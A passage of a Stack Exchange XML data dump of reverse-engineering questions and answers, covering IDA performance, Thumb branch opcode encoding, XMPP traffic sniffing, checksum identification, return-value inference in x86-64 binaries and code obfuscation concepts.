href=&quot;http://www.irongeek.com/i.php?page=videos/derbycon4/t420-control-flow-graph-based-virus-scanning-douglas-goddard&quot;&gt;http://www.irongeek.com/i.php?page=videos/derbycon4/t420-control-flow-graph-based-virus-scanning-douglas-goddard&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4197" LastActivityDate="2016-04-19T18:01:19.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12485" PostTypeId="1" CreationDate="2016-04-19T19:43:09.257" Score="8" ViewCount="10507" Body="&lt;p&gt;I made IDA load an ~70MB executable, and it's been analyzing it for about 16 hours now (still not finished, although it's over half done). While there &lt;em&gt;is&lt;/em&gt; progress, the progress is very, very slow. On the other hand, a 5MB file is analyzed within about 5 minutes. I remember a 40MB executable taking about 30-40 minutes to analyze, but this is nothing compared to &gt;16 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopper took about 2 hours (and used 6GB of RAM!) to analyze the same file, but it managed to complete it. After looking at the disassembly, it seems that the executable in question tends to use many function pointers (over directly invoking functions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal? Is there anything I can do to speed up the process?&lt;/p&gt;&#xA;" OwnerUserId="1551" LastActivityDate="2016-04-21T23:21:13.550" Title="IDA slow on ~70mb executable" Tags="|ida|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12486" PostTypeId="1" AcceptedAnswerId="12489" CreationDate="2016-04-19T23:46:16.420" Score="1" ViewCount="2527" Body="&lt;p&gt;I did find this link: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9094/offset-calculation-for-branch-instruction-in-arm?newreg=644a4b2d707a476496570137fcb31e37&quot;&gt;Offset calculation for branch instruction in ARM&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which was quite helpful but also confusing for me. I tried few ways to get it working with my offsets but failed.&lt;/p&gt;&#xA;&lt;p&gt;What I wanted to do, was create a BL instruction from 0x52F4D6 to 0x5BF368.&lt;/p&gt;&#xA;&lt;p&gt;At 0x52F4D6 I wanted to write BL sub_5BF368 but how do I get the correct hex code (thumb) for it?&lt;/p&gt;&#xA;" OwnerUserId="15833" LastEditorUserId="245" LastEditDate="2022-03-31T08:57:39.103" LastActivityDate="2022-03-31T08:57:39.103" Title="Offset Calculation for a Branch Instruction Thumb" Tags="|ida|arm|" AnswerCount="1" CommentCount="1" ClosedDate="2016-04-20T19:17:04.613" ContentLicense="CC BY-SA 4.0" />
  <row Id="12487" PostTypeId="1" AcceptedAnswerId="12491" CreationDate="2016-04-20T02:26:01.247" Score="1" ViewCount="1399" Body="&lt;p&gt;Hopefully I'm asking this at the right place. League of legends recently added the option to join a club. Clubs still use the &lt;a href=&quot;https://en.wikipedia.org/wiki/XMPP&quot; rel=&quot;nofollow&quot;&gt;XMPP protocol&lt;/a&gt; just like before for their public chat rooms: &lt;a href=&quot;http://leagueoflegends.wikia.com/wiki/User_blog:Sevenix/Connecting_to_the_LoL_chat_using_XMPP&quot; rel=&quot;nofollow&quot;&gt;XMPP for public rooms&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For public chat rooms, you connect through the &quot;lvl.pvp.net&quot; server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the private clubs' chat rooms, the server is now &quot;pgc.pvp.net&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I can't figure out how to find the room address to connect to a club. The clubs are private rooms. Only someone that is part of the club can view and chat in the club. Unlike for a public chat room, where the address is simply: &lt;strong&gt;&lt;em&gt;pu~&quot;Channel name hashed and no capital letters&quot;&lt;/em&gt;&lt;/strong&gt;, a club address is a UUID and therefore, unlike public rooms, it's impossible to figure out the room address from the club name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Riot is fine with people connecting to the XMPP server from outside apps, but they haven't provided an easy way to find the UUID for a club room.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I find what it is for my club?&lt;/p&gt;&#xA;" OwnerUserId="15834" LastActivityDate="2016-08-11T09:39:00.593" Title="XMPP clubs in league of legends" Tags="|protocol|strings|networking|sniffing|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12488" PostTypeId="2" ParentId="12485" CreationDate="2016-04-20T06:12:17.343" Score="14" Body="&lt;p&gt;There are some tricks you can use to speed up the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA's &lt;code&gt;Functions window&lt;/code&gt;, as well as some other windows, presents sorted data. This means that for every function added, it sorts the entire view. When operating on &gt;100k functions, this can take a considerable (&gt;1sec) amount of time. So if you have ~200K functions, the analysis will take forever, more or less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend closing (hiding is not enough) all views except the &lt;code&gt;Output window&lt;/code&gt;. This should speed things up quite a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the RAM, being a 32bit application, IDA can only take up up to about 3GB of memory. From my experience, it handles 100MB binaries well.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-04-20T06:12:17.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12489" PostTypeId="2" ParentId="12486" CreationDate="2016-04-20T06:58:44.257" Score="3" Body="&lt;p&gt;You can get this from the ARM manual; for example from the version linked at the link you found, &lt;a href=&quot;https://ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, a quick calculation &lt;code&gt;5BF358-52F4D6&lt;/code&gt; yields &lt;code&gt;8FE82&lt;/code&gt;, so you see you have more than 12 bits, and need to use the long branch format in 5.19, which splits your &lt;code&gt;BL&lt;/code&gt; into two instructions. The section says &quot;The branch offset must take account of the prefetch operation, which causes the PC to be 1 word (4 bytes) ahead of the current instruction&quot;, so the offset you need is from 4 bytes behind &lt;code&gt;52F4D6&lt;/code&gt; - &lt;code&gt;52F4DA&lt;/code&gt;, which means the offset for the instructions - the value you want to add to &lt;code&gt;PC&lt;/code&gt; is &lt;code&gt;8FE7E&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part of the instruction shifts its partial offset left by 12 bits, and adds this to PC. The instruction format is &lt;code&gt;1111HXXXXXXXXXXX&lt;/code&gt; in binary, with &lt;code&gt;H=0&lt;/code&gt;, so &lt;code&gt;F000+XXXX&lt;/code&gt; in hex. What you want to add to PC in this step is &lt;code&gt;8F000&lt;/code&gt;, so the opcode for this instruction is &lt;code&gt;F0 8F&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part shifts its partial offset left by one bit (remember thumb instructions are aligned to 16 bit, so the last bit of an offset is always 0, so it doesn't have to be represented in the hex opcode), and it has &lt;code&gt;H=1&lt;/code&gt;, so the opcode is &lt;code&gt;F800+XXXX&lt;/code&gt;. What you want to add in this step is &lt;code&gt;E7E&lt;/code&gt;. Shift that right by one bit to get &lt;code&gt;73f&lt;/code&gt;, and add to your opcode to get &lt;code&gt;FF 3F&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, your BL instruction is &lt;code&gt;F08F FF3F&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To confirm this, create an assembly program, assemble it, and check the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.thumb&#xA;.arch armv7a&#xA;.syntax unified&#xA;.align 2&#xA;.org    0x52F4D6&#xA;bl  sub_5BF368&#xA;.org    0x5BF368&#xA;sub_5BF368:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arm-linux-gnueabi-as -o y.o y.s&#xA;arm-linux-gnueabi-objdump -s y.o | grep -v &quot;00000000 00000000 00000000 00000000&quot;&#xA;.....&#xA; 52f4d0 00000000 00008ff0 3fff0000 00000000  ........?.......&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember words are byte-swapped due to little-endianness, and you'll find your &lt;code&gt;F08F FF3F&lt;/code&gt; opcode there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I just fixed the address of the second .org since it seemed miss-typed just to avoid confusion. Now it looks consistent I think :) &lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="27185" LastEditDate="2019-07-19T12:44:55.447" LastActivityDate="2019-07-19T12:44:55.447" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="12491" PostTypeId="2" ParentId="12487" CreationDate="2016-04-20T14:46:53.557" Score="1" Body="&lt;p&gt;There are two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The League of Legends client uses an embedded algorithm to &lt;a href=&quot;https://en.wikipedia.org/wiki/Injective_function&quot; rel=&quot;nofollow&quot;&gt;injectively&lt;/a&gt; map a club name to a club UUID.&lt;/li&gt;&#xA;&lt;li&gt;The League of Legends client sends the club name to the server and receives the club UUID in response.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Either way, you'd be able to see what UUID-channel is eventually joined by the League of Legends client by sniffing the XMPP traffic, as @guntram-blohm suggested.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-20T14:46:53.557" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12494" PostTypeId="1" CreationDate="2016-04-21T01:24:36.337" Score="2" ViewCount="122" Body="&lt;p&gt;I am looking at a 32 byte sequence, the chksum I believe is either the 1st two bytes or last 2 bytes (I am leaning on the last 2 bytes).  I think it is a straight 16bit xor but I can't find the crunch number to put against it.  It could be crc or citt too, I can't say for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are 3 packets to work with, any help will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;55 00 53 4D 34 34 51 49 00 00 00 00 00 00 4F 1F &#xA;DF F1 00 00 00 00 00 00 00 00 00 00 00 00 C7 CC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;16 02 53 4D 31 30 30 54 51 47 00 00 00 00 C8 7F&#xA;A8 F4 00 00 00 00 00 00 00 00 00 00 00 00 41 F5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;11 00 53 4D 34 38 44 00 00 00 00 00 00 00 69 DC&#xA;9C F3 00 00 00 00 00 00 00 00 00 00 00 00 F3 48 &lt;/p&gt;&#xA;" OwnerUserId="15250" LastActivityDate="2016-04-26T18:04:47.483" Title="Need help to figure out a chksum" Tags="|assembly|packet|math|" AnswerCount="1" CommentCount="2" ClosedDate="2016-04-26T17:27:40.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="12496" PostTypeId="1" AcceptedAnswerId="12499" CreationDate="2016-04-21T15:34:24.883" Score="1" ViewCount="537" Body="&lt;p&gt;I am doing binary analysis on &lt;code&gt;x86-64bit&lt;/code&gt; ELF binaries. All the binaries are compiled from &lt;code&gt;C&lt;/code&gt; language. Basically, for a given function, I would like to figure out whether this function has a return value or not. That is, in its corresponding &lt;code&gt;C&lt;/code&gt; code, whether a meaningful &lt;code&gt;return&lt;/code&gt; exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am essentially facing the assembly code, it is not feasible to figure out through some type information. However, as for normal &lt;code&gt;x86-64bit&lt;/code&gt; assembly program, the calling convention only allows register &lt;code&gt;rax&lt;/code&gt; to hold the return value, &lt;strong&gt;so I am thinking to check the usage of &lt;code&gt;rax&lt;/code&gt; after a typical function call and decide whether the target function returns a value.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example in &lt;code&gt;AT&amp;amp;T&lt;/code&gt; syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo:&#xA;   ...&#xA;   call bar&#xA;   mov 0, %rax  &amp;lt;--- bar should not have a return value&#xA;&#xA;bar:&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example, as &lt;code&gt;rax&lt;/code&gt; is immediately reset, it is unlikely for function &lt;code&gt;bar&lt;/code&gt; to return a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo:&#xA;   ...&#xA;   call bar&#xA;   jmp *%rax  &amp;lt;----- It is very likely that bar has a return value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the above case, I suppose without some aggressive inter-procedure optimization, we can say it for sure that &lt;code&gt;bar&lt;/code&gt; returns a value (a pointer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is yet another (ad-hoc) reverse engineering task, but I guess there may be a more &quot;formal&quot; way to solve it, any idea on that?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2016-06-14T17:42:46.587" Title="Figure out whether a function has return value of not?" Tags="|binary-analysis|static-analysis|elf|functions|x86-64|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12497" PostTypeId="2" ParentId="12496" CreationDate="2016-04-21T16:40:26.740" Score="0" Body="&lt;p&gt;The return value is defined by the calling convention used by your compiler, and it usually just means &quot;the value of &lt;code&gt;eax&lt;/code&gt;/&lt;code&gt;rax&lt;/code&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your first example, &lt;code&gt;rax&lt;/code&gt; is not reset, it's just set to the value &lt;code&gt;0&lt;/code&gt;, hence the functions most likely ends with a &lt;code&gt;return 0;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your second example, you should check what is the last write on &lt;code&gt;rax&lt;/code&gt; in the &lt;code&gt;bar&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try to check whether the next operation on &lt;code&gt;rax&lt;/code&gt; after your function is a write or a read, basically if it's a read the return value is used, if it's a write the return value is discarded.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastEditorUserId="15798" LastEditDate="2016-06-14T17:42:46.587" LastActivityDate="2016-06-14T17:42:46.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12499" PostTypeId="2" ParentId="12496" CreationDate="2016-04-21T18:32:13.240" Score="3" Body="&lt;p&gt;I see several problems with that approach:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Functions that return double values don't use &lt;code&gt;eax&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Functions that return structs don't neccesarily use &lt;code&gt;eax&lt;/code&gt;, see &lt;a href=&quot;http://blog.aaronballman.com/2012/02/describing-the-msvc-abi-for-structure-return-types/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;return values from many functions, like &lt;code&gt;free&lt;/code&gt;, &lt;code&gt;close&lt;/code&gt;, &lt;code&gt;printf&lt;/code&gt; are custumarily ignored, so &quot;caller does not read &lt;code&gt;eax&lt;/code&gt;&quot; does not translate to &quot;function has no return value&quot;&lt;/li&gt;&#xA;&lt;li&gt;there are edge cases to &quot;&lt;code&gt;eax&lt;/code&gt; is used&quot;. For example, &lt;code&gt;xor [location], eax&lt;/code&gt; probably means &lt;code&gt;eax&lt;/code&gt; has a value, &lt;code&gt;xor eax, [location]&lt;/code&gt; as well, but &lt;code&gt;xor eax, eax&lt;/code&gt; means &lt;em&gt;probably&lt;/em&gt; not.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the generic case, i think there's no foolproof way. For example, in a function ending in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (i=0; i&amp;lt;somevar; i++)&#xA;    somearray[i]=0;&#xA;return i;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the compiler may just decide to use &lt;code&gt;eax&lt;/code&gt; for the loop counter; which means there's no reason to do another &lt;code&gt;mov&lt;/code&gt; after the loop. If the caller ignores the value of &lt;code&gt;eax&lt;/code&gt;, you have no way to determine, from the assembly alone, if that &lt;code&gt;return&lt;/code&gt; statement was present or not. (Of course, in this particular case, any self respecting compiler will generate a variant of &lt;code&gt;rep stosw&lt;/code&gt; or &lt;code&gt;sse&lt;/code&gt; instructions, but you get the point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when the caller &lt;em&gt;does&lt;/em&gt; read &lt;code&gt;eax&lt;/code&gt;, you can be quite certain that the function has a return value; but a caller that ignores &lt;code&gt;eax&lt;/code&gt; basically means nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even if the caller reads &lt;code&gt;eax&lt;/code&gt;, you could construct pathological cases of a function written in assembler, that preserves &lt;code&gt;eax&lt;/code&gt;, and a caller that knows about this and makes use of &lt;code&gt;eax&lt;/code&gt; even over the function call. But you'll probably not encounter this in software that isn't deliberately obfuscated&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-21T18:32:13.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12500" PostTypeId="2" ParentId="12270" CreationDate="2016-04-21T19:42:39.420" Score="1" Body="&lt;p&gt;Either get a statically linked netcat binary for said architecture, or - much easier - get the fully-fledged statically linked &lt;a href=&quot;https://busybox.net/downloads/BusyBox.html&quot; rel=&quot;nofollow&quot;&gt;busybox&lt;/a&gt; binary from &lt;a href=&quot;https://busybox.net/downloads/binaries/latest/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, these should have every aviable feature activated, thus including netcat.&lt;/p&gt;&#xA;" OwnerUserId="15744" LastActivityDate="2016-04-21T19:42:39.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12501" PostTypeId="1" CreationDate="2016-04-21T23:12:59.270" Score="7" ViewCount="374" Body="&lt;p&gt;First, I wasn't sure if I should post this on the Lego Stack Exchange site or here, and I decided this site had more to do with the question (I hope I don't get bad rep for this). OK, my friends and I have Lego NXT sumo bot competions for fun. Basically, you build a robot that waits five seconds and competes against a robot to stay on a board. We normally focus on the mechanical side to win against other robots (find them and push them off the board), but I had the idea to try a software attack. My idea was too:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find some sort of Bluetooth vulnerability that I could exploit from another NXT (I write my programs in NXC).&lt;/li&gt;&#xA;&lt;li&gt;Upload a malicious program that makes the robot drive backwards forever.&lt;/li&gt;&#xA;&lt;li&gt;Somehow execute the program(and win!).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have tried testing the NXT Bluetooth for vulnerabilities (I have knowledge of Windows/Linux exploitation and debugging) and I can't find anything. The main problem is that the NXT firmware handles Bluetooth connections, in other words you connect the devices with a pass code &lt;strong&gt;before&lt;/strong&gt; running the program that requires Bluetooth. So, my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this even slightly possible or a waste of time?&lt;/li&gt;&#xA;&lt;li&gt;If there was a NXT Bluetooth vulnerability, could I even send it from another NXT that's not connected?&lt;/li&gt;&#xA;&lt;li&gt;Was this the right place to post this question?&lt;/li&gt;&#xA;&lt;li&gt;Would NXT debugging even be possible?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;First, thanks for all of the ideas and answers. Secondly, several of the answers note about the legality of what I am trying to do. Yes, it is legal where I live. Third, I talked with main guy and judge of the competition and he said that he would love to see a software attack like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where I'm at now&lt;/strong&gt;&#xA;I have Kali Linux and the mac address has been found. I also found a paper &lt;a href=&quot;http://joanna.iwr.uni-heidelberg.de/projects/NXT_DAME/data/nxt_direct_command.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&#xA;on the control protocols. The main dilemma I am still facing is the fact that a Bluetooth passcode has to be entered &lt;strong&gt;on&lt;/strong&gt; the device I intend to connect to. Any updates will be posted here!&lt;/p&gt;&#xA;" OwnerUserId="14595" LastEditorUserId="14595" LastEditDate="2016-06-27T01:11:17.987" LastActivityDate="2016-06-27T01:11:17.987" Title="Lego NXT Exploitation and Vulnerabilities?" Tags="|debugging|exploit|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12503" PostTypeId="2" ParentId="12494" CreationDate="2016-04-22T00:33:12.953" Score="2" Body="&lt;pre&gt;&lt;code&gt;unsigned int seed=0x3412;&#xA;unsigned int len=15;&#xA;&#xA;unsigned int vec1[] = {&#xA;        0x5500,0x534D,0x3434,0x5149,0x0000,0x0000,0x0000,0x4F1F,0xDFF1,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000&#xA;        // 0xC7CC&#xA;};&#xA;&#xA;unsigned int vec2[] = {&#xA;        0x1602,0x534D,0x3130,0x3054,0x5147,0x0000,0x0000,0xC87F,0xA8F4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000&#xA;        // 0x41F5&#xA;};&#xA;&#xA;unsigned int vec3[] = {&#xA;        0x1100,0x534D,0x3438,0x4400,0x0000,0x0000,0x0000,0x69DC,0x9CF3,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000&#xA;        // 0xF348&#xA;};&#xA;&#xA;&#xA;// poly = 0xffff&#xA;&#xA;unsigned int fcalc(int len, unsigned int s, unsigned int *v)&#xA;{&#xA;        unsigned int ret, i;&#xA;&#xA;        ret = s;&#xA;        for (i=0; i&amp;lt;len; i++)&#xA;                ret ^= *v++;&#xA;&#xA;        return ret;&#xA;}&#xA;&#xA;main()&#xA;{&#xA;        unsigned int c;&#xA;&#xA;        c = fcalc(len, seed, vec1);&#xA;        printf(&quot;c = %04x\n&quot;, c);&#xA;&#xA;        c = fcalc(len, seed, vec2);&#xA;        printf(&quot;c = %04x\n&quot;, c);&#xA;&#xA;        c = fcalc(len, seed, vec3);&#xA;        printf(&quot;c = %04x\n&quot;, c);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N3p6F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N3p6F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15862" LastEditorUserId="1413" LastEditDate="2016-04-26T18:04:47.483" LastActivityDate="2016-04-26T18:04:47.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12504" PostTypeId="2" ParentId="11976" CreationDate="2016-04-22T01:12:56.203" Score="0" Body="&lt;p&gt;One thing I didn't see mentioned here is we discussed matching a virus signature via some hash - you could also consider matching instead your executable target to a known good hash for that executable target - this method would then not be sensitive to pure polymorphic virus behaviours - but of course one could find a collision in hash such that it still has the correct hash - so then using a a more computationally complex hash could help&lt;/p&gt;&#xA;" OwnerUserId="15862" LastActivityDate="2016-04-22T01:12:56.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12505" PostTypeId="2" ParentId="11445" CreationDate="2016-04-22T08:32:02.693" Score="3" Body="&lt;p&gt;I solved this problem for gdb a few years ago, see &lt;a href=&quot;https://stackoverflow.com/questions/17554070/import-class-dump-info-into-gdb/17858650#17858650&quot;&gt;Import class-dump info into GDB&lt;/a&gt; on Stack Overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m not sure if lldb has an &lt;code&gt;add-symbol-file&lt;/code&gt; equivalent command. &lt;a href=&quot;http://lists.llvm.org/pipermail/lldb-dev/2012-December/001286.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Loading symbols from location in memory&lt;/a&gt; from the lldb-dev mailing list suggests that you may have to create your own .dSYM file instead of a .stabs file.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-04-22T08:32:02.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12506" PostTypeId="2" ParentId="3800" CreationDate="2016-04-22T14:30:42.837" Score="5" Body="&lt;p&gt;By far, the established method for binary rewriting is &lt;strong&gt;dynamic&lt;/strong&gt; rewriting where the binary is rewritten while being run on real inputs. Think of instrumentation tools like &lt;strong&gt;PIN&lt;/strong&gt;, &lt;strong&gt;DynamoRIO&lt;/strong&gt; and &lt;strong&gt;Dyninst&lt;/strong&gt; and also binary translators like &lt;strong&gt;qemu&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static rewriting tools have a fundamental challenge compared to dynamic rewriting which is precise Control Flow Graph recovery. That is, for each basic block in the binary we need to know the set of possible targets of its jump instruction. The difficulty is that binaries have many &lt;strong&gt;indirect&lt;/strong&gt; jump instructions. For example, if we face a basic block that ends with &lt;code&gt;bx r3&lt;/code&gt; then we need to have a &lt;em&gt;precise&lt;/em&gt; and &lt;em&gt;reliable&lt;/em&gt; Value Set Analysis (VSA) that can tell us the possible values that &lt;code&gt;r3&lt;/code&gt; can take at run-time. Unfortunately, such analysis is, generally, undecidable. However, well-behaving compilers produce binaries that are &lt;em&gt;structured&lt;/em&gt; somehow which is a fact that can be useful to a large extent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the solving CFG recovery problem would allow us to solve the code/data separation problem as a by product. That is, recursive descent disassembly would allow us in that case to perfectly seperate code from data in the code byte stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can refer here to the following paper introduced in last year's USENIX Security:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Shuai Wang, Pei Wang, Dinghao Wu:&#xA;  &lt;strong&gt;Reassembleable Disassembling&lt;/strong&gt;. USENIX Security 2015: 627-642&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Their tool  &lt;code&gt;Uroboros&lt;/code&gt; is &lt;strike&gt;not&lt;/strike&gt; open source. It's based on iterative linear sweep disassembly using &lt;strong&gt;objdump&lt;/strong&gt;. The disassembly technique itself is discussed in an earlier paper. Nonetheless, it provides interesting techniques for static binary rewriting that actually works (or at least that is their claim). They even rewrite the same binary multiple times without breaking it. Finally, note that static binary rewriting is largely inapplicable to binaries with run-time code generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like many of the shortcomings of &lt;code&gt;Uroboros&lt;/code&gt; has been addressed in  &lt;code&gt;Ramblr&lt;/code&gt; which is discussed here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Wang et. al. &quot;&lt;strong&gt;Ramblr: Making Reassembly Great Again&lt;/strong&gt;&quot;, Proceedings of the Network and Distributed System Security Symposium (NDSS'17). 2017&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Particularly, they mention that their reassembled binaries have no execution overhead or size expansion.&lt;/p&gt;&#xA;" OwnerUserId="11828" LastEditorUserId="11828" LastEditDate="2017-05-22T09:43:51.933" LastActivityDate="2017-05-22T09:43:51.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12507" PostTypeId="1" AcceptedAnswerId="12509" CreationDate="2016-04-22T15:09:24.477" Score="1" ViewCount="7785" Body="&lt;p&gt;For my project, I am performing a kind of checksum operation on a portion of code to protect it and therefore do not want its template to be easily visible and therefore need obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched a lot on the net and read papers describing obfuscation definitions, types, etc. But there seems to be no tutorial on obfuscating x86 assembly code. Can anybody suggest a simple algorithm/tool for the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about inserting dummy code, changing the order of the instructions and other techniques but they appear to be totally random i.e. there is no end to how much dummy code to insert, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody at least guide me to the correct approach? &lt;/p&gt;&#xA;" OwnerUserId="15870" LastActivityDate="2019-09-05T15:50:24.947" Title="How to obfuscate x86 assembly code?" Tags="|assembly|x86|obfuscation|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12509" PostTypeId="2" ParentId="12507" CreationDate="2016-04-23T00:00:08.733" Score="5" Body="&lt;p&gt;You should not confuse &quot;code protection&quot; and &quot;code obfuscation&quot;. &quot;Code protection&quot; techniques target in recognizing code modifications (you mention a checksum) and take suitable means like crashing or delivering wrong results when tampering with the code has been recognized. Anti-Debug measures also belong into this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Code obfuscation&quot; in a binary targets in blinding the investigator (and the disassembler) with awkward and often useless code, ranging from simple jmp chains to more complicated constructs. Most code obfuscation techniques result in some code bloat, and the tradeoff between the obfuscation and the performance must be considered. Here are two obfuscation examples being found &quot;in the wild&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dummy code: There are many means to insert nops in binaries. Examples range from simple statemens like shr eax, 0 or (in the 32-bit world) shl bx, 20h to more complicated constructions like the following example. The combination of jz and jnz followed by garbage statements (cpuid, ret), avoiding a jmp often confuses disassemblers in their ability to display logical assembly blocks.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;    mov si, si&#xA;    